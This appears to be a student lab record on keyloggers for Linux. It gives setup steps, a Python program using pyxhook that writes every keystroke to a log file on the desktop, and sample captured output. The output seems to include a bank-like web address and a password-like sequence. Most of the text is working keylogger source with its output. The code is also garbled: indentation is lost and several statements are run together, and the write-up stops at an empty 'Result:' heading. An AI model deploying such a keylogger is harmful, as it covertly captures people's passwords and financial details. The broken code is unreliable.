KEYLOGGERS

Aim: To write a python program to implement keylogger to record keystrokes in Linux.

Algorithm:
- Step 1: Check if python-xlib is installed. If not, type the command: `dnf install python-xlib -y`.
- Step 2: Run the pyxhook file using the command: `python pyxhook.py`.
- Step 3: Create a file named `key.py`.
- Step 4: Run `key.py` to record all keystrokes.
- Step 5: Open the `file.log` file to view all the recorded keystrokes.

Program:

```
import os
import pyxhook

log_file = os.environ.get('pylogger_file', os.path.expanduser('~/Desktop/file.log'))

cancel_key = ord(os.environ.get('pylogger_cancel', '`')[0])

if os.environ.get('pylogger_clean', None) is not None:
try:
    os.remove(log_file)
except EnvironmentError:
pass

def OnKeyPress(event):
with open(log_file, 'a') as f:
    f.write('{}\n'.format(event.Key))
```

```
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress

new_hook.HookKeyboard()

try:
    new_hook.start() except KeyboardInterrupt:    pass
except Exception as ex:    msg = 'Error while
catching events:\n{}'.format(ex)    with open(log_file,
'a') as f:
        f.write('\n{}'.format(msg))
```

Output:
```
w w w
period
h d
f c b a
n k
period
c
o m
Return
3
0
0
9
1
2
3
Shift_L
I n
d
```

i a
9
0 Shift_L
dollar
percent

Result: